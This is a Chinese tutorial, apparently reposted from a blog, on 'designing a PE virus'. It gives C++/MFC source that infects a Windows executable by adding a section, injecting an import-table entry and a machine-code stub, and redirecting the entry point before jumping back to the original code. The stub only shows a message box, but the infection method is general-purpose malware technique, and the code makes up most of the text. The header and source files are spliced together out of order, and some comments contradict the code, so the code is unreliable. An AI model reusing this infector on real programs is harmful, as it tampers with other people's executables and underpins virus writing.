第7讲:设计PE型病毒2

本节主要讲 通过添加新区块、修改输入表方法实现PE感染

本次课程涉及到的技术点有几个部分:

1,添加输入表项。

2,添加新区块。

 3,插入 Stub。

********************************************************************************************

下面是实现这个程序的主要步骤,其中使用内存映射机制来实现文件的操作。

1)添加用于存放Stub的新区块。添加新区块需要进行一下操作:

增加区块数量

添加区块信息

修正PE文件的映像大小

添加PE文件大小

********************************************************************************************

 Stub 要完成的任务很简单,显示消息框然后跳转到应用程序原始入口继续执行。

 需要修改程序的入口点指向 Stub ,应用程序执行时就会直接转到 Stub 执行。

 ********************************************************************************************

 新区块数据由以下7本分组成:

 1,输入表,原输入表数据复制到新区块,并为user32.dll的MessageBoxA加新项。

2,DLL名字符串,固定为“USER32.dll”,在输入表新项中使用。

3,函数名字符串,固定为“MessageBoxA”,在输入表新项中使用。

4,新输入表项所对应的IAT表。

5,Nag消息框的标题字符串。

6,Nag消息框的内容字符串。

 

以下为完整代码:

 PEInfo.h文件

#pragma once


typedef struct _MAP_ITEM {
    HANDLE    hFile ;
    HANDLE    hMapFile ;
    LPVOID    lpMapAddr ;
} MAP_ITEM ;
typedef MAP_ITEM* PMAP_ITEM ;

typedef struct _BASE_INFO_ITEM {
    DWORD    dwSectionAlign ; //块对齐大小
    DWORD    dwFileAlign ;     //文件块对齐大小
    WORD    dwSectionBase ;  //节表开始地址
    WORD    dwSectionNum ;   //节表个数
    DWORD    dwHeadSize ;     //所有头+节表大小,也可以以此值作为PE文件第一节的文件偏移量
    DWORD    dwRealHeadSize ; //节表结束地址
    DWORD    dwImageSize ;    //镜像大小
    DWORD    dwFileSize ;     //文件大小
} BASE_INFO_ITEM ;
typedef BASE_INFO_ITEM* PBASE_INFO_ITEM ;


class CPEInfo
{
public:
    CPEInfo(void);
public:
    ~CPEInfo(void);

public:
    BOOL                    isReady ;
    BASE_INFO_ITEM            BaseInfo ;
    IMAGE_SECTION_HEADER    NewSection ;    

public:
    BOOL    CreateMap    ( TCHAR* pPathName, PMAP_ITEM pMapItem ) ;
    BOOL    CreateNewMap    ( TCHAR* pPathName, PMAP_ITEM pMapItem, DWORD dwFileSize ) ;
    VOID    DeleteMap    ( PMAP_ITEM pMapItem ) ;
    BOOL    FlushData    ( LPVOID lpAddr, UINT nNumToFlush ) ;//清除数据

public:
    BOOL    IsValidPE        ( PMAP_ITEM pMapItem ) ;
    VOID    GetBaseInfo        ( PMAP_ITEM pMapItem ) ;
    VOID    InitNewSection    () ; //初始的新Section
    VOID    AdjustSectionSize () ;        // 包含了映像大小和文件大小
    VOID    AddNewSection    ( PMAP_ITEM pOldMap, PMAP_ITEM pNewMap, DWORD dwNewFileSize ) ;

public:
    DWORD    FormatInt ( DWORD dwValue, DWORD dwAlign ) ;

};

PEInfo.cpp

#include "StdAfx.h"
#include "PEInfo.h"

CPEInfo::CPEInfo(void)
{

    int ii = sizeof(IMAGE_OPTIONAL_HEADER);
    isReady = FALSE ;
    memset ( &BaseInfo, 0, sizeof(BASE_INFO_ITEM) ) ;//新申请的内存做初始化工作
    memset ( &NewSection, 0, sizeof(IMAGE_SECTION_HEADER) ) ;//新申请的内存做初始化工作
}

CPEInfo::~CPEInfo(void)
{
}

BOOL CPEInfo::CreateMap    ( TCHAR* pPathName, PMAP_ITEM pMapItem ) 
{    
    pMapItem->hFile =    CreateFile ( 
        pPathName,                    
        GENERIC_READ, 
        FILE_SHARE_READ|FILE_SHARE_WRITE,  
        NULL, 
        OPEN_EXISTING, 
        FILE_ATTRIBUTE_NORMAL ,
        NULL 
        );
    if ( pMapItem->hFile == INVALID_HANDLE_VALUE )
    {
        return FALSE;
    }
    
    //创建文件映射内核对象
    pMapItem->hMapFile = CreateFileMapping ( pMapItem->hFile, NULL, PAGE_READONLY, 0, 0, NULL    ) ;
    if ( pMapItem->hMapFile == NULL )
    {
        CloseHandle ( pMapItem->hFile ) ;
        return FALSE;
    }
    
    //创建文件视图
    pMapItem->lpMapAddr = (PBYTE)MapViewOfFile ( pMapItem->hMapFile, FILE_MAP_READ, 0, 0, 0 ) ;
    if ( pMapItem->lpMapAddr == NULL )
    {
        DWORD dwErrorCode = GetLastError () ;
        CloseHandle ( pMapItem->hMapFile ) ;
        CloseHandle ( pMapItem->hFile ) ;
        return FALSE;
    }
    
    return TRUE ;
}

BOOL CPEInfo::CreateNewMap    ( TCHAR* pPathName, PMAP_ITEM pMapItem, DWORD dwFileSize ) 
{    
    pMapItem->hFile =    CreateFile ( 
        pPathName,                    
        GENERIC_READ|GENERIC_WRITE, 
        FILE_SHARE_READ|FILE_SHARE_WRITE,  
        NULL, 
        CREATE_ALWAYS, 
        FILE_ATTRIBUTE_NORMAL ,
        NULL 
        );
    if ( pMapItem->hFile == INVALID_HANDLE_VALUE )
    {
        return FALSE;
    }
    
    //创建文件映射内核对象
    pMapItem->hMapFile = CreateFileMapping ( pMapItem->hFile, NULL, \
                            PAGE_READWRITE, 0, dwFileSize, NULL    ) ;
    if ( pMapItem->hMapFile == NULL )
    {
        CloseHandle ( pMapItem->hFile ) ;
        return FALSE;
    }
    
    //创建文件视图
    pMapItem->lpMapAddr = (PBYTE)MapViewOfFile ( pMapItem->hMapFile, FILE_MAP_ALL_ACCESS, 0, 0, 0 ) ;
    if ( pMapItem->lpMapAddr == NULL )
    {
        DWORD dwErrorCode = GetLastError () ;
        CloseHandle ( pMapItem->hMapFile ) ;
        CloseHandle ( pMapItem->hFile ) ;
        return FALSE;
    }
    
    return TRUE ;
}

void  CPEInfo::DeleteMap ( PMAP_ITEM pMapItem )
{
    UnmapViewOfFile ( pMapItem->lpMapAddr ) ;
    CloseHandle ( pMapItem->hMapFile ) ;
    CloseHandle ( pMapItem->hFile ) ;
}

BOOL  CPEInfo::FlushData ( LPVOID lpAddr, UINT nNumToFlush )
{
    return FlushViewOfFile ( lpAddr, nNumToFlush ) ;
}

BOOL  CPEInfo::IsValidPE        ( PMAP_ITEM pMapItem )
{
    return TRUE ;
}
 
VOID  CPEInfo::GetBaseInfo        ( PMAP_ITEM pMapItem )
{
    PIMAGE_DOS_HEADER    pDosHeader    = (PIMAGE_DOS_HEADER)(pMapItem->lpMapAddr) ;
    PIMAGE_NT_HEADERS    pNtHeader    = (PIMAGE_NT_HEADERS)((LONG)(pMapItem->lpMapAddr)+ (pDosHeader->e_lfanew)) ;
    PIMAGE_OPTIONAL_HEADER32 pOptionalHeader = &(pNtHeader->OptionalHeader) ;

    BaseInfo.dwSectionAlign    = pOptionalHeader->SectionAlignment ;// 内存中的区块的对齐大小
    BaseInfo.dwFileAlign        = pOptionalHeader->FileAlignment ;// 文件中的区块的对齐大小
    BaseInfo.dwSectionNum        = pNtHeader->FileHeader.NumberOfSections ;//PE文件中有多少个节
    BaseInfo.dwHeadSize        = pOptionalHeader->SizeOfHeaders ;// 所有头 + 区块表的尺寸大小
    BaseInfo.dwSectionBase    = pDosHeader->e_lfanew + 0x18 + pNtHeader->FileHeader.SizeOfOptionalHeader;//块表开始的地址DOS_Header+File__Header+Optional Header
    BaseInfo.dwRealHeadSize    = BaseInfo.dwSectionBase + BaseInfo.dwSectionNum * 0x28 ;//块表结束的地址
    BaseInfo.dwImageSize        = pOptionalHeader->SizeOfImage ;

    PIMAGE_SECTION_HEADER LastSec    = (PIMAGE_SECTION_HEADER)((LONG)(pMapItem->lpMapAddr) + BaseInfo.dwSectionBase + 0x28 * ( BaseInfo.dwSectionNum - 1 ) ) ;
    BaseInfo.dwFileSize        = LastSec->PointerToRawData + FormatInt ( LastSec->SizeOfRawData, pOptionalHeader->FileAlignment );//文件的大小
}


VOID  CPEInfo::InitNewSection    ()
{
    strcpy ( (char*)NewSection.Name, ".NewSec" ) ;
    NewSection.Misc.VirtualSize    = BaseInfo.dwSectionAlign ;
    NewSection.VirtualAddress        = BaseInfo.dwImageSize ;
    NewSection.SizeOfRawData        = BaseInfo.dwFileAlign ;
    NewSection.PointerToRawData    = BaseInfo.dwFileSize ;
    NewSection.Characteristics    = 0xE0000020 ;
}

DWORD CPEInfo::FormatInt ( DWORD dwValue, DWORD dwAlign )
{
    if ( dwValue % dwAlign )
        return ( dwValue / dwAlign + 1 ) * dwAlign ;
    return dwValue / dwAlign * dwAlign ;
}

void CPEInfo::AdjustSectionSize ()
{
    if ( NewSection.Misc.VirtualSize < NewSection.SizeOfRawData )
        NewSection.Misc.VirtualSize = NewSection.SizeOfRawData ;

    if ( NewSection.Misc.VirtualSize % BaseInfo.dwSectionAlign )
        NewSection.Misc.VirtualSize = NewSection.Misc.VirtualSize / BaseInfo.dwSectionAlign + 1 ;
    else
        NewSection.Misc.VirtualSize = NewSection.Misc.VirtualSize / BaseInfo.dwSectionAlign ;
    NewSection.Misc.VirtualSize *= BaseInfo.dwSectionAlign ;

    if ( NewSection.SizeOfRawData % BaseInfo.dwFileAlign )
        NewSection.SizeOfRawData = NewSection.SizeOfRawData / BaseInfo.dwFileAlign + 1 ;
    else
        NewSection.SizeOfRawData = NewSection.SizeOfRawData / BaseInfo.dwFileAlign ;
    NewSection.SizeOfRawData *= BaseInfo.dwFileAlign ;
}

void CPEInfo::AddNewSection ( PMAP_ITEM pOldMap, PMAP_ITEM pNewMap, DWORD dwNewFileSize )
{
    memcpy ( LPVOID(pNewMap->lpMapAddr), LPVOID(pOldMap->lpMapAddr), NewSection.PointerToRawData ) ;

    // Fix PE Head's some item
    PIMAGE_DOS_HEADER    pDosHeader    = (PIMAGE_DOS_HEADER)(pNewMap->lpMapAddr) ;
    PIMAGE_NT_HEADERS    pNtHeader    = (PIMAGE_NT_HEADERS)((LONG)(pNewMap->lpMapAddr)+ (pDosHeader->e_lfanew)) ;
    PIMAGE_OPTIONAL_HEADER32 pOptionalHeader = &(pNtHeader->OptionalHeader) ; 

    // Increase section numbers
    pNtHeader->FileHeader.NumberOfSections ++ ;

    // Write into new IMAGE_SECTION_HEADER
    memcpy ( LPVOID(DWORD(pDosHeader)+BaseInfo.dwRealHeadSize), &(NewSection), 0x28 ) ;

    // Modify IMAGE SIZE
    pOptionalHeader->SizeOfImage += NewSection.Misc.VirtualSize ;

    FlushData ( pNewMap->lpMapAddr, dwNewFileSize ) ;
}
NagGenDlg.h文件

#pragma once

#include "PEInfo.h"

#include "Dbghelp.h"
#pragma comment ( lib, "Dbghelp.lib" )

// CNagGenDlg 对话框
class CNagGenDlg : public CDialog
{

public:

CPEInfo PEInfo ;

DWORD dwDllNameOff, dwFunNameOff, dwIATOff, dwIIDNum, dwNewEntryOff, dwNagTitleOff, dwNagContentOff ;

CString m_NagTitle;

#include "stdafx.h"
#include "NagGen.h"
#include "NagGenDlg.h"

#ifdef _DEBUG
#define new DEBUG_NEW
#endif

#define MAX_BUF_SIZE        2048
#define MAX_TITLE_SIZE        64
#define MAX_CONTENT_SIZE    256

TCHAR a[] = TEXT("fjda") ;
TCHAR b[] = TEXT("fdsadagfdsa") ;
//
//void StubCode ()
//{    
//    PTCHAR pTitle    = NULL ;
//    PTCHAR pContent    = NULL ;
//
//    DWORD begin, end ;
//    __asm
//    {
//        push    edx
//        call    $+5
//        pop        edx
//        add        edx, 7
//        mov        begin, edx
//BEGIN:
//        pushad
//        push    0
//        push    pTitle
//        push    pContent
//        push    0
//        call    dword ptr MessageBoxW
//        popad
//END:    
//        call    $+5
//        pop        edx
//        add        edx, -5
//        mov        end, edx
//        pop        edx
//    }
//}

void CNagGenDlg::OnBnClickedOk()
{

    MAP_ITEM OldMap = {0}, NewMap = {0} ;//初始化数据
    TCHAR    pBuf[MAX_BUF_SIZE] = {0} ;
    BYTE    pData[MAX_BUF_SIZE] ={0} ;
    wsprintf ( pBuf, m_PathName.GetBuffer(m_PathName.GetLength()) ) ;//m_PathName需要修改的PE文件
    if ( PEInfo.CreateMap(pBuf, &OldMap) == FALSE ) //创建文件映射到内存
    {
        MessageBox ( TEXT("Please ensure this file is not been used!") ) ;
        return ;
    }
    
    // 取得PE文件基本信息
    PEInfo.GetBaseInfo (&OldMap) ;
    // 初始化新区段信息
    PEInfo.InitNewSection () ;

    // 产生并组合数据,保存到pData缓冲区,并根据所需要的长度对区段信息进行调整
    DWORD dwNeedSize = GenerateData ( pData, OldMap.lpMapAddr );//生成数据

    if ( PEInfo.NewSection.SizeOfRawData < dwNeedSize )//判断所需的大小,并确定大小
        PEInfo.NewSection.SizeOfRawData = dwNeedSize ;
    PEInfo.AdjustSectionSize () ;

    // 建立新文件(*_nag.exe)
    CString TempStr = m_PathName ;
    DWORD    dwNewFileSize = PEInfo.NewSection.PointerToRawData + PEInfo.NewSection.SizeOfRawData ;
    TempStr.SetAt ( TempStr.GetLength()-4, 0 ) ;
    wsprintf ( pBuf, TEXT("%s%s"), TempStr.GetBuffer(TempStr.GetLength()), TEXT("_nag.exe") ) ;
    if ( PEInfo.CreateNewMap ( pBuf, &NewMap, dwNewFileSize ) == FALSE )
    {
        MessageBox ( TEXT("Could't create new file!") ) ;
        DeleteFile ( pBuf ) ;
        return ;
    }

    // 添加区块信息
    PEInfo.AddNewSection ( &OldMap, &NewMap, dwNewFileSize ) ;

    // 删除原PE文件的映射
    PEInfo.DeleteMap ( &OldMap ) ;

    // 把pData中的数据写入到新区块( contain IID, NewDllName, NewFunName, NewIat)
    LPVOID    lpNewSection = LPVOID(DWORD(NewMap.lpMapAddr)+PEInfo.NewSection.PointerToRawData) ;
    memcpy ( lpNewSection, pData, PEInfo.NewSection.SizeOfRawData ) ;

    // 取得PE头信息
    PIMAGE_DOS_HEADER    pDosHeader    = (PIMAGE_DOS_HEADER)(NewMap.lpMapAddr) ;
    PIMAGE_NT_HEADERS    pNtHeader    = (PIMAGE_NT_HEADERS)((LONG)(NewMap.lpMapAddr)+ (pDosHeader->e_lfanew)) ;
    PIMAGE_OPTIONAL_HEADER32 pOptionalHeader = &(pNtHeader->OptionalHeader) ;

    // 写入新IID信息  IMAGE_IMPORT_DESCRIPTOR
    // 如果OriginalFirstThunk 字段的值为0,加载就不会改写IAT,也就是说,需要自己向IAT写入对应函数的地址
    // 这里把OriginalFirstThunk的值设置为与FirstThunk相同,这样初始化的时候加载器就会改写IAT
    PIMAGE_IMPORT_DESCRIPTOR pIID = (PIMAGE_IMPORT_DESCRIPTOR)((DWORD)lpNewSection + 0x14 * dwIIDNum) ;
    pIID->Name            = dwDllNameOff + PEInfo.NewSection.VirtualAddress ;
    pIID->FirstThunk    = dwIATOff + PEInfo.NewSection.VirtualAddress ;
    pIID->OriginalFirstThunk    = pIID->FirstThunk ;
    pIID->ForwarderChain    = 0xFFFFFFFF ;
    pIID->TimeDateStamp        = 0xFFFFFFFF ;
    *((DWORD*)(dwIATOff + (DWORD)lpNewSection)) = dwFunNameOff + PEInfo.NewSection.VirtualAddress ;
    
    
    // 修改数据目录项中输入表项信息
    pOptionalHeader->DataDirectory[1].VirtualAddress    = PEInfo.NewSection.VirtualAddress ;
    pOptionalHeader->DataDirectory[1].Size               += 0x14 ;

    // 清楚绑定输入表
    pOptionalHeader->DataDirectory[11].VirtualAddress    = 0 ;
    pOptionalHeader->DataDirectory[11].Size                = 0 ;
    
    // 修改OEP
    pOptionalHeader->AddressOfEntryPoint = dwNewEntryOff + PEInfo.NewSection.VirtualAddress ;
    
    PEInfo.FlushData ( LPVOID(PEInfo.NewSection.VirtualAddress), PEInfo.NewSection.SizeOfRawData ) ;
    PEInfo.DeleteMap ( &NewMap ) ;

    MessageBox ( TEXT("添加Nag窗口成功!") ) ;
}



//生成新区块数据

DWORD CNagGenDlg::GenerateData(PBYTE pData, LPVOID lpImageBase)
{
    // 取得PE文件基本信息
    PIMAGE_DOS_HEADER    pDosHeader    = (PIMAGE_DOS_HEADER)(lpImageBase) ;
    PIMAGE_NT_HEADERS    pNtHeader    = (PIMAGE_NT_HEADERS)((LONG)(lpImageBase)+ (pDosHeader->e_lfanew)) ;
    PIMAGE_OPTIONAL_HEADER32 pOptionalHeader = &(pNtHeader->OptionalHeader) ;
    PIMAGE_DATA_DIRECTORY pImportData    = (PIMAGE_DATA_DIRECTORY)(&( pOptionalHeader->DataDirectory[1]) ) ;

    //    //定位到导入表
    //IMAGE_IMPORT_DESCRIPTOR *pImportDesc=(IMAGE_IMPORT_DESCRIPTOR*)((BYTE*)lpBase+ntHeader->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].VirtualAddress);

    PIMAGE_IMPORT_DESCRIPTOR    pIID = (PIMAGE_IMPORT_DESCRIPTOR) ImageRvaToVa ( pNtHeader, lpImageBase, pImportData->VirtualAddress, NULL ) ;
    // 把原IID表拷贝到缓冲区
    memcpy ( pData, LPVOID(pIID), pOptionalHeader->DataDirectory[1].Size );//ImportTable                   
    //统计IID数量(dll的数量)
    dwIIDNum        = 0 ;
    while ( pIID[dwIIDNum].FirstThunk )
        dwIIDNum ++ ;

    char    szDllName[] = "USER32.dll" ; 
    char    szFunName[] = "MessageBoxA" ;

    // 设置偏移信息
    dwDllNameOff        = pOptionalHeader->DataDirectory[1].Size + 0x14;
    dwFunNameOff        = dwDllNameOff + sizeof (szDllName) + 3 ;
    dwIATOff            = dwFunNameOff + sizeof (szFunName) + 4 ;
    dwNagTitleOff        = dwIATOff + 12 ;

    // 写入DLL名
    memcpy ( &(pData[dwDllNameOff]), szDllName, sizeof(szDllName) ) ;
    // 写入函数名
    memcpy ( &(pData[dwFunNameOff+2]), szFunName, sizeof(szFunName) ) ; // 2, 序号


    CHAR pTitle[128] = {0}, pContent[512] = {0} ;
    ::GetDlgItemTextA ( GetSafeHwnd(), IDC_NAG_TITLE, pTitle, 128 ) ;
    ::GetDlgItemTextA ( GetSafeHwnd(), IDC_NAG_CONTENT, pContent, 512 ) ;

    // 设置偏移信息(NagTitle + NagContent)
    dwNagContentOff    = dwNagTitleOff + strlen(pTitle) + 1 ;
    dwNewEntryOff        = dwNagContentOff + strlen(pContent) + 1 ;

    // 把NagTitle和NagContent信息写入缓冲区
    wsprintf ( PTCHAR(&pData[dwNagTitleOff]), TEXT("%s"), pTitle ) ;
    wsprintf ( PTCHAR(&pData[dwNagContentOff]), TEXT("%s"), pContent ) ;


    //
    // Stub Code ( 0x11111111为数据占位符,需修正) 0x6a,push 命令, 0xe8,cal命令
    // pushad                        60
    // push 0                         6A 0x00
    // push 0x11111111                 68  11111111 
    // push 0x11111111                 68  11111111   
    // push 0                         6A  00
    // call dword ptr MessageBoxW    FF15 11111111 
    // popad                         61
    // jmp  0x11111111               E9   11111111
    /////
    //Stub数据
    BYTE pbCommand[] = { 0x60, 0x6A, 0x00, 0x68, 0x11, 0x11, 0x11, 0x11, \
            0x68, 0x11, 0x11, 0x11, 0x11, 0x6A, 0x00, 0xFF, 0x15, 0xBC, 0xF2, 0x42, 0x00, 0x61, \
            0xE9, 0x11, 0x11, 0x11, 0x11 } ;
    
    // 统计Stub Code长度,然后写入pData缓冲区
    DWORD    dwStubLength = sizeof(pbCommand);
    memcpy ( &(pData[dwNewEntryOff]), pbCommand, dwStubLength ) ;

    // 计算 JMP 指令的操作数
    DWORD dwOldEntryRVA = pOptionalHeader->AddressOfEntryPoint ;
    DWORD dwNewEntryRVA = PEInfo.NewSection.VirtualAddress + dwNewEntryOff + 22 ;
    DWORD dwJmpDist        = dwOldEntryRVA - dwNewEntryRVA - 5 ;

    // 修正TitleVA
    *((DWORD*)(&(pData[dwNewEntryOff+4])))    = pOptionalHeader->ImageBase + PEInfo.NewSection.VirtualAddress + dwNagTitleOff ;
    // 修正ContentVA
    *((DWORD*)(&(pData[dwNewEntryOff+9])))    = pOptionalHeader->ImageBase + PEInfo.NewSection.VirtualAddress + dwNagContentOff ;
    // 修正 CALL [0x********]
    *((DWORD*)(&(pData[dwNewEntryOff+17])))    = pOptionalHeader->ImageBase + PEInfo.NewSection.VirtualAddress + dwIATOff ;
    // 修正 JMP 的操作数 ==> E9 ** ** ** **
    *((DWORD*)(&(pData[dwNewEntryOff+23])))    = dwJmpDist ;

    // 返回总长度
    return dwNewEntryOff + dwStubLength + 0x10 ;
}

 

 

 

CString m_NagContent;
afx_msg void OnBnClickedOk();
DWORD GenerateData(PBYTE pData, LPVOID lpImageBase);
};

 

 

转载于:https://www.cnblogs.com/mayingkun/p/4774685.html

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值